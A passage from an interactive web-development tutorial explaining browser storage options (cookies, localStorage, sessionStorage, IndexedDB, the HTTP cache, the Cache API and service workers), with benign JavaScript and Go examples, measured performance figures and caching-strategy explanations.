Skip to content
Software Atlas

Browser Storage & Caching

Where a web app can keep data in the browser — cookies, localStorage, sessionStorage, IndexedDB, the HTTP cache, the Cache API and service workers — what each one costs, how much fits, when the browser throws it away, and what you must never put there. Every demo writes to your browser's real storage, in clearly labelled demo keys.

⏱ ~45 min read16 sections14 interactive widgetsJS · HTML · Go
FoundationsPractitionerStaff-level
Foundations§01

The 30-second version

You add a dark-mode switch. It works, until the user reloads the page and it's light again. You fix it with localStorage, and a month later someone asks why the login token is in there too, and why the app is blank when the train goes into a tunnel.

In one sentenceThe browser gives every site several storage boxes, and they differ in three ways: whether the data travels to the server, how big and structured it can be, and how long it lives. Answer those three questions and the right box picks itself.

So far your app's data has probably lived in JavaScript variables (React state, for example). Those vanish on every reload. Everything in this topic is about the places that survive a reload, plus the caches that make a page load fast or work with no network at all.

The browser's kitchen
Click a storage area. Each one trades off size, speed, lifetime and who can see it.
🧊 localStorage — fridge door: a few labelled jars
Sent to the server?No
How much fits~5 MB per origin
What you can storestrings only
API stylesynchronous
Lives untiluntil deleted (or evicted)
Who can read itany script on the page
Service worker accessno access
Good for: Small preferences: theme, last-opened tab, a dismissed banner.
1

Only cookies travel

Cookies go to the server on every request, automatically. Everything else stays in the browser until your code reads it and sends it.
2

Small and simple vs big and structured

localStorage holds a few MB of strings, and every call finishes before your next line runs. IndexedDB holds real objects, files and gigabytes, but answers later.
3

Storage is a cache, not a vault

Users can read and edit it, injected scripts can steal it, and the browser may delete it when the disk fills up. The server stays the source of truth.

Here is the most common first bug. Both lines try to remember a user's settings:

✕ Stores the text "[object Object]"
const prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", prefs);
localStorage.getItem("prefs"); // "[object Object]" — the object is gone
✓ Stores JSON text, parsed back on load
const prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", JSON.stringify(prefs));
JSON.parse(localStorage.getItem("prefs")); // { theme: "dark", fontSize: 16 }

localStorage only stores strings, so it turns your object into text with String(prefs), which is the useless "[object Object]". JSON turns the object into text that can be turned back. §04 shows this live, in your browser's real storage.

Along the way: what an origin is and why localhost:3000 can't see localhost:5173's data (§02), what a cookie costs on every request (§03), a real database in the browser (§05), what freezes the page and what doesn't (§06), how a request finds its answer in the caches (§07–§08), service workers and offline apps (§09–§10), how much you can store before the browser says no (§11), and what you must never put in browser storage (§12).

Foundations§02

Primer: origins, waiting, and where to look

Three small ideas make the rest of this topic easy: whose data it is, when you get an answer, and where you can see it.

1. Every origin gets its own boxes

An origin is the first part of a URL: scheme + host + port. For https://shop.example.com:443/cart?item=7, the origin is https://shop.example.com (443 is the default port for https, so it's usually left out). The path /cart and the query ?item=7 aren't part of it.

The browser keeps a separate set of boxes for every origin: its own localStorage, sessionStorage, IndexedDB and Cache API. Code from one origin can't read another origin's boxes. It's the storage side of the same-origin policy.

Do these two URLs share storage?
Edit either URL or pick a preset. The browser compares only scheme, host and port; the path and query don't matter.
schemehttps=https
hostshop.example.com=shop.example.com
port443 (default)=443 (default)
localStorage, IndexedDB, Cache API
shared: same origin
Origin A = https://shop.example.com
A cookie set by A without Domain=
sent to B too
Cookies ignore the port, and by default the scheme too.

Two results surprise people:

  • Different ports are different origins. Your app on localhost:5173 and your API on localhost:3000 don't share localStorage. Nothing is broken; they're two different "sites" as far as storage is concerned.
  • Cookies play by older rules. A cookie belongs to a host name (and optionally its parent domain), not to an origin, and it ignores the port. §03 covers cookies; CORS & CSRF covers origins versus sites in depth.

2. Some APIs answer now, some answer later

A synchronous API does all its work before it returns. localStorage.getItem("theme") hands you the value right there, so the next line can use it. Easy to write, but if the work is slow, the whole page waits: no clicks, no scrolling, no animation.

An asynchronous API starts the work and returns at once. You get the answer later, through an event, a Callback or a Promise. IndexedDB and the Cache API work this way; so does fetch.

const theme = localStorage.getItem("theme");      // synchronous: the value, right now
console.log(theme);                                // "dark"

const cache = await caches.open("pages");          // asynchronous: a Promise, awaited
const hit = await cache.match("/about");           // the page keeps running while we wait

If await is new to you, Async / Await explains it from scratch. The short version: await pauses this function until the answer arrives, while the browser keeps the rest of the page running.

3. Where to look: DevTools → Application

Every box in this topic is visible in DevTools. In Chrome or Edge, open the Application panel (F12, then the Application tab):

  • Storage lists Local storage, Session storage, IndexedDB, Cookies and Cache storage, per origin. You can read, edit and delete entries.
  • Service workers shows registered workers, their state, and an "Update on reload" checkbox for development.
  • Storage (the top item) has a usage chart and a Clear site data button that empties every box at once.

Firefox calls the same panel Storage; Safari has a Storage tab in Web Inspector.

Foundations§03

Cookies: the badge you show at every door

In one sentenceA cookie is a small name=value string that the server asks the browser to keep, and the browser sends it back with every request to that site. That makes cookies perfect for one thing (telling the server who you are) and wasteful for almost everything else.

The round trip

The server sets a cookie with a Set-Cookie header on any response. From then on, the browser adds a Cookie header to every request to that host: the HTML, every image, every script, every API call.

the conversation, as raw HTTP
GET /prefs HTTP/1.1                       ← 1. first request: no cookie yet
Host: shop.example.com

HTTP/1.1 200 OK
Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax   ← 2. "please keep this"

GET /logo.png HTTP/1.1                    ← 3. every later request carries it
Host: shop.example.com
Cookie: theme=dark

HTTP itself has no memory between requests. Cookies are how a server recognises the same browser again, which is why every login system uses one (HTTP shows the message format; Authentication builds a login session on top).

Here's both sides in code. The server is Go (cookies are set by servers); the browser side is JavaScript:

main.go
package main

import (
	"fmt"
	"net/http"
)

func main() {
	http.HandleFunc("/prefs", func(w http.ResponseWriter, r *http.Request) {
		http.SetCookie(w, &http.Cookie{ // ← adds a Set-Cookie header to the response
			Name:     "theme",
			Value:    "dark",
			Path:     "/",
			MaxAge:   60 * 60 * 24 * 365, // one year, in seconds
			SameSite: http.SameSiteLaxMode,
		})
		fmt.Fprintln(w, "saved")
	})

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		c, err := r.Cookie("theme") // ← the browser sent it back in the Cookie header
		if err != nil {
			fmt.Fprintln(w, "no theme cookie yet")
			return
		}
		fmt.Fprintln(w, "theme is", c.Value)
	})

	http.ListenAndServe(":8080", nil)
}

Running the Go server and calling it with curl prints exactly what the browser would see: Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax, then theme is dark once the cookie is sent back.

The attributes, in plain words

Everything after the first ; is an instruction to the browser. None of it is ever sent back: the browser only returns name=value.

AttributeWhat it does
Max-Age=3600 / Expires=<date>How long to keep it. Without either, it's a session cookie: gone when the browser session ends. Max-Age=0 deletes it.
Path=/Only send it for URLs under this path. Use / unless you have a reason.
Domain=example.comAlso send it to subdomains (shop.example.com, blog.example.com). Leave it out to keep the cookie on the exact host that set it, which is safer.
HttpOnlyJavaScript can't see it in document.cookie. Only the server can set this.
SecureOnly sent over HTTPS.
SameSite=Lax / Strict / NoneWhether it's sent on requests that start on other sites.

The last three are security flags. Authentication §03 explains what each one blocks, and CORS & CSRF explains SameSite in depth. This section stays with the storage side: size, lifetime and cost.

Try it: a real cookie jar

A real cookie jar
This writes real cookies for this site (names start with atlasdemo_bs_, ‘no expiry’ ones last until the browser closes, the others within an hour, and 'Clear' removes them).
document.cookie0 demo
""
One long string, "; "-separated. No expiry dates, paths or flags: you only see name=value.
next request to this host0 bytes
GET /any/image.png
(no Cookie header: nothing to send)
× 80 requests per page ≈ 0 B uploaded (before HTTP/2 header compression).

Three things to notice:

  1. document.cookie only shows name=value pairs. You can't see a cookie's expiry, path or flags from JavaScript.
  2. A cookie whose name plus value is over 4,096 bytes is dropped silently: no error, it just isn't there. (Measured in Chromium: 4,100 bytes ignored, 4,000 stored.) Browsers also cap the number per domain; Chromium allows 180.
  3. Asking JavaScript for an HttpOnly cookie is ignored. Chromium drops the whole cookie. That's the point of the flag: only a server can create one.

What cookies cost

A worked example. Your analytics, A/B-testing and consent tools each set a cookie, and together they add up to 2 KB. A product page makes 80 requests to your domain (HTML, scripts, styles, 60 images, API calls). That's 80 × 2 KB = 160 KB uploaded per page view, just to repeat the same text. Uploads are often the slow direction on mobile networks.

HTTP/2 and HTTP/3 compress repeated headers, which softens this a lot on a single connection (HTTP §05). But the server still parses every cookie on every request, the first request on each connection carries them in full, and every cookie is one more thing an attacker can try to abuse. Keep cookies to the server's business: usually one session ID. Preferences the server never reads belong in localStorage (§04).

Foundations§04

localStorage and sessionStorage

In one sentencelocalStorage is the fridge door: a few labelled jars per origin, grabbed instantly, there until someone throws them out. sessionStorage is the same thing on a tray for one tab. Both store only strings.

The whole API

Both objects have the same five methods. The calls are synchronous: the value is there on the next line.

localStorage.setItem("theme", "dark");   // save (overwrites any old value)
localStorage.getItem("theme");           // "dark"
localStorage.getItem("nope");            // null — a missing key is null, not undefined
localStorage.removeItem("theme");        // delete one key
localStorage.clear();                    // delete EVERY key for this origin (careful)

That's it. No folders, no expiry dates, no querying. If you need "expires in a week", you store the date yourself next to the value and check it when you read.

Strings in, strings out

Web Storage converts whatever you give it to a string with String(value). Numbers survive as digits but come back as strings; objects turn into "[object Object]"; arrays into "1,2,3". So: JSON.stringify on the way in, JSON.parse on the way out.

Reading is where real apps crash. The key might be missing (null), or hold text written by an older version of your app, or have been edited by hand in DevTools. A safe helper:

storage.js
export function loadJSON(key, fallback) {
  try {
    const text = localStorage.getItem(key);
    return text === null ? fallback : JSON.parse(text);   // ← missing key → fallback
  } catch {
    return fallback;   // corrupt JSON, or storage blocked (some privacy modes) → fallback
  }
}

export function saveJSON(key, value) {
  try {
    localStorage.setItem(key, JSON.stringify(value));
    return true;
  } catch {
    return false;      // full (QuotaExceededError) or blocked: the app keeps working without it
  }
}

In React, the usual place to read it is the lazy initial value of useState, so it's read once, not on every render:

const [prefs, setPrefs] = useState(() => loadJSON("prefs", { theme: "light" }));  // read once
useEffect(() => { saveJSON("prefs", prefs); }, [prefs]);                         // write on change

The function form useState(() => …) and the effect are explained in React Hooks. One warning if your components are also rendered on a server: there's no localStorage there. loadJSON catches the error and returns the fallback, so nothing crashes, but now the server renders "light" while the browser's first render reads "dark". That's a hydration mismatch; §14's pitfall #3 and CSR, SSR & Hydration show the fix (read storage in an effect).

Try it

localStorage and sessionStorage, for real
Writes go to this site's real storage under keys starting with atlas-demo:browser-storage:. Open DevTools → Application to watch them appear.
what comes back
Click one of the setItem buttons.
demo keys in localStorage
empty
how much fits?
Fills localStorage until the browser says no, then deletes the probe.
the storage event
This frame is a separate document from the same origin, like a second tab. Write a key above and it gets a storage event; the page that wrote it doesn't.

How long it lives, and who sees it

localStoragesessionStorage
Survives a reloadyesyes
Survives closing the tabyesno
Shared between tabs of the same originyes, all of themno: each tab has its own
Size limit (Chromium, measured)5,242,880 characters per originthe same, per tab
Readable byevery script on the pageevery script in that tab

Duplicating a tab copies its sessionStorage into the new tab; most other ways of opening a new tab start with an empty one.

The limit is counted in characters (keys plus values), not bytes. Strictly, it counts UTF-16 code units: almost every character, including "é" and "中", counts as one, same as "a"; an emoji counts as two. The widget's "find the limit" button got 5,242,880 in Chromium, which is exactly 5 × 1024 × 1024. Firefox and Safari also allow about 5 MB per origin. Go over it and setItem throws a QuotaExceededError; Chromium's message is "Setting the value of 'q' exceeded the quota."

Keeping tabs in sync: the storage event

When one tab changes localStorage, the browser fires a storage event in every other page (tab or frame) of the same origin, but not in the page that made the change. Other frames inside the same tab do get it: that's what the framed "other document" in the widget is listening to.

window.addEventListener("storage", (event) => {
  if (event.key === "theme") applyTheme(event.newValue);  // another tab switched theme
  // event.oldValue = the previous value · event.newValue = null if the key was removed
});

So "log out in one tab, every tab logs out" or "switch theme everywhere" takes a few lines. For richer messages between tabs, §13 shows BroadcastChannel.

Where it falls short

  • Synchronous means main-thread time. Every call blocks your JavaScript until it's done. Small values cost almost nothing; megabytes of JSON don't (§06 measures it).
  • No service workers, no Web Workers. Neither the service workers of §09 nor Web Workers (background threads for heavy work) can use it at all. Use IndexedDB there.
  • Anyone on the page can read it. That includes every third-party script and any injected one (§12). Never store tokens here.
Practitioner§05

IndexedDB: a real database in the browser

In one sentenceIndexedDB is the walk-in freezer: big, organised, stores real objects (not just strings), and you ask for things and get them a moment later. Use it for your app's actual data.

The pieces

If you've used a SQL database, most of this will feel familiar; if not, the right-hand column is all you need.

IndexedDBRoughly likeIn plain words
database ("notes-app", version 1)a databaseOne per app, per origin. Has a whole-number version.
object store ("notes")a tableA collection of records.
key (id: 7)primary keyEvery record has a unique key. The keyPath says which property it is.
index ("byTag")a database indexAn extra sorted list so you can find records by another property (all notes tagged "home").
transactiona transactionA group of reads and writes that are saved all together or not at all.

Records are JavaScript objects, copied with the structured clone algorithm, not with JSON. So a Date comes back as a Date, and you can store Map, Set, binary data such as Blobs and Files directly. What can't be stored: functions, DOM elements, and anything that holds them. Instances of your own classes come back as plain objects: the data survives, the methods don't.

Step through it

The raw API is older than Promises, so it reports results through events on IDBRequest objects. Here is one full run:

IndexedDB, one event at a time
Open a database, create its structure, save one record. Step with ← → or press Play.
Code
1const req = indexedDB.open("notes-app", 1);
2
3req.onupgradeneeded = () => {
4 const db = req.result;
5 const notes = db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
6 notes.createIndex("byTag", "tag");
7};
8
9req.onsuccess = () => {
10 const db = req.result;
11 const tx = db.transaction("notes", "readwrite");
12 tx.objectStore("notes").add({ text: "Buy milk", tag: "home", created: new Date() });
13 tx.oncomplete = () => console.log("saved");
14};
On diskthis origin's databases
no database called notes-app yet
Transactionwhat's allowed right now
none
Eventswhat the browser fires
open() returned an IDBRequest (pending)
indexedDB.open returns immediately, before anything is opened. What you get back is an IDBRequest: an object that will fire an event later. Your code keeps running; the browser goes to the disk in the background.
1 / 11

Two rules come out of that walk-through:

  1. You can only change the structure in upgradeneeded. Creating stores and indexes happens there, triggered by opening with a higher version number. That's your migration hook (§13).
  2. Transactions commit by themselves. As soon as your code returns to the event loop and the transaction has no pending requests, it commits. There's no commit() you must remember to call.

Try it: a real database

A real IndexedDB database
Creates the database "atlas-demo:browser-storage" in your browser. DevTools → Application → IndexedDB shows it. "Delete database" removes it.
notes (newest 6)0 total
no notes
what came back
add a note first

Click both "+500" buttons and compare the times. Every transaction is a separate trip to the disk with its own "make sure it's saved" step, so 500 transactions are much slower than one transaction with 500 writes. In headless Chromium on the author's machine, one transaction took about 35 ms and 500 separate ones about 230 ms (median of 5 runs), and the gap grows on slower disks and phones. Batch your writes.

The trap: awaiting something else mid-transaction

Rule 2 has a sharp edge. If you await anything that isn't a request on the same transaction, the transaction runs out of work while you wait, and commits:

✕ The transaction finishes during the fetch
const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7");   // tx has nothing to do → commits
store.put(await res.json());               // 💥 TransactionInactiveError
✓ Do the slow work first, then open the transaction
const res = await fetch("/api/notes/7");   // network first
const note = await res.json();
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put(note);         // then a short transaction

Chromium's exact message: "TransactionInactiveError: Failed to execute 'put' on 'IDBObjectStore': The transaction has finished."

A small promise wrapper

Nobody wants to write onsuccess handlers forever. Two tiny helpers turn requests and transactions into promises, which makes the code read top to bottom:

idb-helpers.js
// Turn an IDBRequest into a Promise of its result.
export const reqP = (r) => new Promise((resolve, reject) => {
  r.onsuccess = () => resolve(r.result);
  r.onerror = () => reject(r.error);
});
// Resolve when a transaction has been saved to disk.
export const done = (tx) => new Promise((resolve, reject) => {
  tx.oncomplete = () => resolve();
  tx.onerror = tx.onabort = () => reject(tx.error);
});

// Usage
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put({ id: 7, text: "Buy milk", tag: "home" });
await done(tx);                                                   // saved

const homeNotes = await reqP(
  db.transaction("notes").objectStore("notes").index("byTag").getAll("home")  // ← query by index
);

In real projects most teams use the small idb library, which does this wrapping for the whole API (await db.put("notes", note)), or a bigger layer such as Dexie when they want queries and live updates. Both are thin: everything in this section still applies underneath.

Practitioner§06

What freezes the page, and which box to choose

In one sentence"Asynchronous" means the browser doesn't make your page wait for the disk. It doesn't mean the work is free: turning your data into bytes still happens on the main thread, and it grows with the size of the data.

You'll read everywhere that "localStorage is synchronous, so it blocks; IndexedDB is async, so it doesn't." That's half right. Let's measure instead of guessing.

Freeze the page on purpose

The ball below is moved by JavaScript on the main thread, once per Frame. The main thread is the one worker that runs your JavaScript and draws the page, so while it's busy with something else, the ball can't move. Each button saves or loads the same 10,000 notes (about 2.6 MB as JSON).

What freezes the page?
The green ball is moved by JavaScript on the main thread, once per frame. If an operation blocks the main thread, the ball stops. All data is deleted after each run.
operation (10,000 notes ≈ 2.6 MB of JSON)longest freezetotal time
localStorage: save 10,000 notes as JSON
——
localStorage: load them back
——
IndexedDB: 10,000 put() calls, one transaction
——
IndexedDB: one put() of the whole array
——
IndexedDB: getAll() of 10,000 records
——
For comparison: a 200 ms loop of plain JS
——
“Longest freeze” = the longest gap between two frames while the operation ran. About 17 ms is normal at 60 Hz (one frame), anything above 50 ms is a long task you can feel. Results vary by browser, device and what else is running.

Here's what it measured on this page in headless Chromium on the author's machine (three runs each, so you see the spread). At 60 frames per second a frame lasts about 17 ms, so 17 ms means "nothing was missed" and 33 ms means one frame was skipped. The freeze column can't show less than one frame, which is why a 2 ms operation still reads 17 ms there.

OperationLongest freezeTotal time
localStorage: setItem 2.6 MB of JSON17–33 ms20–21 ms
localStorage: getItem + JSON.parse17–33 ms2–7 ms
IndexedDB: 10,000 put() calls in one transaction67–200 ms480–560 ms
IndexedDB: one put() of the whole array17–33 ms33–42 ms
IndexedDB: getAll() of 10,000 records17–33 ms226–340 ms
A 200 ms loop of plain JavaScript (for comparison)200–217 ms200 ms

What the numbers say

localStorage was fast here. Chromium keeps a copy of each origin's localStorage in memory, so 2.6 MB cost a frame or two. But every call still runs on the main thread from start to finish, the first access on a page may have to load the whole thing from disk, JSON.stringify and JSON.parse grow with the data, and a cheap phone is several times slower than this machine. Fine for small settings; risky as a database.

10,000 IndexedDB writes froze the page for up to 200 ms, a Long task users can feel. The disk work happened in the background, but each put() copies its object right away, on the main thread, with the structured clone algorithm (the Stepper in §05 showed this step). Ten thousand small copies add up.

One big write or a getAll() barely froze anything (a skipped frame at most), even though getAll() took a quarter of a second in total: the slow part happened in the background. So the useful rule is not "async is free" but: async takes waiting off the main thread; copying stays on it.

Which box for which data?

You want to keep…UseWhy not the others
A session / loginan HttpOnly cookie, set by the serverAnything JS can read can be stolen (§12)
Theme, language, "don't show this again"localStorageA cookie would be uploaded with every request for nothing
A half-filled form in one tabsessionStoragelocalStorage would leak it into other tabs and keep it forever
Thousands of records, offline data, an outbox of unsent changesIndexedDBlocalStorage tops out at ~5 MB of strings and blocks
Images or files the user addedIndexedDB (Blobs)localStorage can't hold binary data
API responses or pages to show offlinethe Cache API, from a service worker (§08–§10)They're already HTTP responses; store them as such
Your JS, CSS and image filesthe HTTP cache, with good headers (§07)The browser manages it for free
Data fetched from your API, while the page is openmemory: a library that keeps API responses in memory, such as TanStack Query (State Management)Writing everything to disk adds cost and stale-data bugs

When in doubt, start with memory and the server. Add browser storage when you can name the benefit: survives a reload, works offline, or saves a request.

Practitioner§07

The HTTP cache, and the path a request takes

In one sentenceThe HTTP cache is storage you never write to yourself. The server's response headers decide what the browser keeps and for how long, and the browser checks it automatically before going to the network.

This topic covers the browser's side of it. The headers themselves (max-age, no-cache versus no-store, ETag, 304 Not Modified) are taught in HTTP §08 and, in depth, in Caching §09. You need only two of them here:

  • Cache-Control: max-age=31536000, immutable means "reuse this for a year without asking".
  • Cache-Control: no-cache means "you may store it, but check with me before every use". The check is a small request; if nothing changed, the server answers 304 Not Modified with no body, and the stored copy is used.

The path of one request

When a page asks for a file, the browser tries several places in order and stops at the first one that can answer:

Where does this response come from?
A request for a file walks down these layers until one of them answers. Pick a situation.
page asks for app.3f9a1c.js
Memory cachethis page's recent loadsmiss → next layer
Service workeryour code, if registerednot involved
HTTP cacheon disk, obeys headersmiss → next layer
NetworkCDN / your serveranswers ✓
what happens≈ 300 ms

Nothing cached yet. The request falls through every layer to the network. The response says Cache-Control: max-age=31536000, immutable, so the browser keeps a copy in the HTTP cache on the way back.

Simplified to the order Chromium uses. Times are rough orders of magnitude, not measurements.

Click through the six situations in order; they tell a story:

  1. First visit and Next day: the HTTP cache makes repeat visits fast: a fresh copy means no request at all.
  2. index.html and Offline, no service worker: it does not make the app work offline: anything that needs checking, needs the network.
  3. Offline, with a service worker: a Service worker sits in front of the HTTP cache. It's the only layer your own code controls, which is why offline apps are built with one (§09).
  4. Service worker calls fetch(): a service worker's own fetch() goes through the HTTP cache. So there can be two copies of a file: the one you stored and the one the browser stored.

The pattern every modern build uses

How can a file be cached for a whole year if you deploy every day? By never changing a file under the same name. Build tools like Vite put a hash of each file's contents into its name: a content-hashed file name such as assets/index-3f9a1c.js. Change one character of code and the next build produces a different name.

So a deployed site has two kinds of files:

  • Hashed assets (/assets/index-3f9a1c.js, CSS, images): cache forever. A new version is a new URL, so a stale copy can't be served by mistake.
  • index.html: its name can't change (it's the address people type), and it's the file that points to the current hashed names. So it must be checked on every visit.

That's two lines of server config. In Go, serving a Vite build:

main.go
package main

import (
	"net/http"
	"strings"
)

func main() {
	files := http.FileServer(http.Dir("dist")) // the output of `vite build`

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if strings.HasPrefix(r.URL.Path, "/assets/") {
			// index-3f9a1c.js: a new build means a new name → safe to keep for a year
			w.Header().Set("Cache-Control", "public, max-age=31536000, immutable")
		} else {
			// index.html: its name never changes → keep it, but check before every use
			w.Header().Set("Cache-Control", "no-cache")
		}
		files.ServeHTTP(w, r)
	})

	http.ListenAndServe(":8080", nil)
}

Most hosts (Netlify, Vercel, Cloudflare Pages, S3 + a CDN) let you set the same two rules in a config file. Build Tools shows where the hashes come from; Web Performance shows what good caching does to load times.

Practitioner§08

The Cache API: responses you store yourself

In one sentenceThe Cache API is the shelf of ready-to-serve meals: whole HTTP responses, stored by your code, under the request that produced them. Unlike the HTTP cache, you decide what goes in and when it comes out.

It was designed for service workers (§09), but ordinary pages can use it too, as long as they're in a secure context (HTTPS, or localhost while developing).

The API in six calls

const cache = await caches.open("pages-v1");            // open (or create) a named cache

await cache.put("/about", response);                     // store a Response (e.g. from fetch) under a request
const hit = await cache.match("/about");                 // a Response, or undefined on a miss
await cache.add("/about");                               // fetch it AND store it (fails on 404/500)
const keys = await cache.keys();                         // every stored Request
await cache.delete("/about");                            // remove one entry
await caches.delete("pages-v1");                         // remove the whole cache

Everything returns a Promise, so it's all asynchronous. Keys are requests, and only GET requests can be stored, so in practice the key is the URL. /products?page=1 and /products?page=2 are different entries, unless you pass { ignoreSearch: true } to match.

Try it

The Cache API, for real
Stores responses in a real cache named "atlas-demo:browser-storage:cache-lab" (DevTools → Application → Cache storage). The 'server' is simulated, 600 ms away.
response for /api/products?page=1
Try “fetch only” twice (new time, 600 ms each), then “fetch + cache.put()”, then “cache.match()”.
cache.keys()0
empty
Keys are requests (URL + method). ?page=1 and ?page=2 are different keys.

Two facts from the widget:

  1. Headers don't matter. The fake server sends Cache-Control: max-age=0, which tells the HTTP cache not to reuse it. The Cache API stores it anyway and hands it back next week. Nothing in a Cache API cache ever expires by itself.
  2. It's instant only because it skips the network. The match came back in a millisecond or two instead of 600 ms.

The one gotcha: a body can be read once

A Response body is a stream: once something reads it, it's used up. If you store a response and also want to return it, store a copy:

✕ The cache read the body; the page gets an empty one
const res = await fetch(url);
await cache.put(url, res);   // the cache reads the body…
return res.json();           // 💥 TypeError: body stream already read
✓ Store a clone, return the original
const res = await fetch(url);
await cache.put(url, res.clone());   // ← the cache gets its own copy
return res.json();                   // the original is still unread

Chromium's message for the left one: "Failed to execute 'text' on 'Response': body stream already read" (or 'json', whichever method you called).

You own the cleanup

Because nothing expires, every app that uses the Cache API needs a plan for old data:

  • Put a version in the cache name ("shell-v3"), and delete every cache with a different name when a new version takes over (§09 does this in the service worker's activate step).
  • Cap runtime caches. If you cache every image the user views, delete the oldest entries past, say, 100. cache.keys() returns them in the order they were added.
  • cache.add and addAll reject on any non-OK response (a 404 throws "TypeError: Failed to execute 'add' on 'Cache': Request failed"), and addAll stores nothing if any one fails. That's useful for "all files or none" precaching, and a surprise if one file in the list is missing.
Practitioner§09

Service workers: a proxy you write

In one sentenceA Service worker is the doorman: a script you write that the browser runs between your pages and the network. Every request a page makes passes through its fetch handler, which can answer from a cache, go to the network, or make up a response on the spot.

What it is, exactly

  • A separate JavaScript file (/sw.js) that the browser downloads, installs and keeps registered for your origin, even when no page is open.
  • Not part of any page. It has no DOM, no window, and no localStorage. It talks to storage through the Cache API and IndexedDB.
  • Event-driven and disposable. The browser starts it when there's an event to handle (a request, a push message) and stops it when idle, often after about 30 seconds. Global variables don't survive: anything that must last goes in storage.
  • Only in secure contexts (HTTPS, or localhost), because a script that can rewrite every response would be a gift to an attacker on an open Wi-Fi.

It controls the pages inside its scope: by default, the folder the script was served from. /sw.js controls the whole site; /app/sw.js controls only /app/….

The code

The page registers it; the worker itself is three event handlers.

app.js (the page)
if ("serviceWorker" in navigator) {
  navigator.serviceWorker.register("/sw.js");   // returns a Promise; safe to call on every load
}
sw.js (the service worker)
const CACHE = "shell-v1";
const SHELL = ["/", "/app.css", "/app.js"];

self.addEventListener("install", (event) => {             // once per new version
  event.waitUntil(caches.open(CACHE).then((c) => c.addAll(SHELL)));
});

self.addEventListener("activate", (event) => {            // this version takes over
  event.waitUntil(
    caches.keys().then((names) =>
      Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n))))
  );
});

self.addEventListener("fetch", (event) => {               // every request from a controlled page
  event.respondWith(
    caches.match(event.request).then((hit) => hit || fetch(event.request))  // ← cache, else network
  );
});

The install step is precaching: download the app shell (the HTML, CSS and JS needed to draw the app's frame) before the user needs it. From then on, the app can start without a network.

The lifecycle, step by step

The tricky part of service workers isn't the code; it's when a version is in charge. Step through a first visit and an update:

A service worker's life
Install, activate, control, update. Step with ← → or press Play.
Code
1// app.js (the page)
2navigator.serviceWorker.register("/sw.js");
3
4// sw.js
5const CACHE = "shell-v1";
6self.addEventListener("install", (event) => {
7 event.waitUntil(caches.open(CACHE).then((c) => c.addAll(["/", "/app.css", "/app.js"])));
8});
9self.addEventListener("activate", (event) => {
10 event.waitUntil(caches.keys().then((names) =>
11 Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n)))));
12});
13self.addEventListener("fetch", (event) => {
14 event.respondWith(caches.match(event.request).then((hit) => hit || fetch(event.request)));
15});
Tabswho controls each page
tab 1 · not controlled
Service workersversions
v1 · downloading /sw.js
Cache storageCache API
empty
First visit. The page loads normally from the network, then calls register(). The browser downloads sw.js and starts it in the background, separate from the page.
1 / 10

The three surprises from that walk-through:

  1. The first visit isn't controlled. A page picks its service worker when it loads. A new worker can call clients.claim() in activate to take over open pages immediately; only do that if your pages can cope with switching mid-session.
  2. Updates wait. A new version installs next to the old one and becomes a waiting worker until every tab using the old version is closed. A reload isn't enough.
  3. skipWaiting() jumps the queue. Calling self.skipWaiting() in the new worker activates it right away, and open pages switch to it. Risky: a page loaded with v1's HTML may now ask v2 for files that v2 renamed. The common pattern is to show "A new version is available — Reload" and call skipWaiting() only when the user clicks.

Try it: a real service worker, safely sandboxed

A live service worker (in a sandbox)
This registers a real service worker, but only for a made-up path (…/__sw-demo__/) where no real page lives. It controls the small framed page below and nothing else, and it's removed when you leave.
registration for …/__sw-demo__/
active—
waiting—
installing—
event log
the controlled page
No active worker yet. Register v1.
(Without one, nothing exists at this path.)
The worker simulates the server (there's none at this path) and uses network-first: fresh time when “online”, its cached copy when “offline”. Try: register, fetch, go offline, fetch again. Then deploy v2: reloading the sandbox page keeps v1 (v2 waits); closing and reopening it, or skipWaiting(), lets v2 take over.

Things to try in the demo, and what they show:

  • Register v1, then fetch → "network", a fresh time. Go offline, fetch again → "cache (network failed)": the worker served its saved copy.
  • Deploy v2 → v2 appears under waiting, and the framed page still shows v1. Reload sandbox page (a real location.reload()): still v1, and v2 is still waiting. That's surprise 2, for real.
  • Close & reopen sandbox → the only page v1 controlled is gone, so v2 activates and the new page shows v2's HTML. That's the "close every tab" path. To try the other path, click Unregister and start again.
  • skipWaiting() → v2 becomes active. Fetch again: the answer now says "worker v2", even though the framed page's HTML still came from v1. Reload the sandbox page to get v2's HTML. That mismatch is why skipWaiting() needs care.

Updating in practice

The browser checks for a new sw.js whenever someone navigates to a page in its scope (and before some background events, if it hasn't checked in 24 hours). It downloads the script and compares it byte for byte with the installed one; any difference starts an install. Two habits make updates reliable:

  • Serve sw.js itself with Cache-Control: no-cache. Modern browsers skip the HTTP cache when checking the worker script by default, but the files it imports with importScripts may still come from cache.
  • Never cache-first your HTML without a way to update it. If index.html is served from a cache forever, users are stuck on that version of the app. §10 shows which strategy fits which file.
Practitioner§10

Caching strategies and offline

In one sentenceA service worker caches nothing by itself; you choose a strategy per kind of request. Each strategy trades freshness against speed and offline support, and no single one fits every file.

The four you'll use

  • Cache-first: answer from the cache if there's a copy; use the network only on a miss. Fastest, works offline, but never notices new content under the same URL.
  • Network-first: try the network and save what comes back; use the cached copy only when the network fails. Fresh when online, works offline, but as slow as the network when it's slow.
  • Stale-while-revalidate: answer immediately with the cached copy, and at the same time fetch a fresh one to store for next time. Fast and always one version behind at most.
  • Network-only: don't cache at all. For things that must be live or must not be replayed, like a payment.

Play with them. Deploy new content on the "server", switch the network to slow or offline, and see what the user gets and how long they wait:

Caching strategies, side by side
A simulated service worker and server. Send requests, deploy new content on the server, change the network, and watch what the user gets.
server has
v1
cache has
nothing
in flight
—
what the user got (newest first)wait
Send a request.

Things worth trying: cache-first + deploy (the user is stuck on v1 forever), network-first + slow (every request waits 3 s even though a copy is sitting right there), stale-while-revalidate + deploy (the first request after a deploy is stale, the next is current).

